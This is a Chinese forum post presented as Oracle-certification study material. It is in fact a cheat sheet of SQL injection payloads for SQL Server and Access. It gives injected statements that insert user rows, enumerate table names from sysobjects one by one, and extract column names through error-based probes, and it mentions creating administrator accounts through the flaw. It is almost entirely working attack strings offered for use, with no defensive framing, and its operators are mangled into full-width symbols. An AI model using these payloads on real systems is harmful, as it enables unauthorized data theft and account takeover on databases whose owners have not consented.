会计考友 发表于 2012-8-4 13:54:49

oracle认证考试SQL注射语句解析三

oracle认证考试SQL注射语句解析三
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, ‘admin’‘--’, ‘password’, 0xffff)--
;and user》0
;and (select count(*) from sysobjects)》0
;and (select count(*) from mysysobjects)》0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and
status》0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name《》‘刚才得到的表名’)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and
status》0 and name《》‘vote’);--
然后id=1552 and exists(select * from aaa where aaa》5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));--
然后id=152 and exists(select * from aaa where aaa》5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));--
然后id=152 and exists(select * from aaa where aaa》5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
status》0 [ and name《》‘你得到的表名’ 查出一个加一个]) [ where 条件] select top 1 name from
sysobjects where xtype=u and status》0 and name not in(‘table1’,‘table2’,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1)
页: [1]
查看完整版本: oracle认证考试SQL注射语句解析三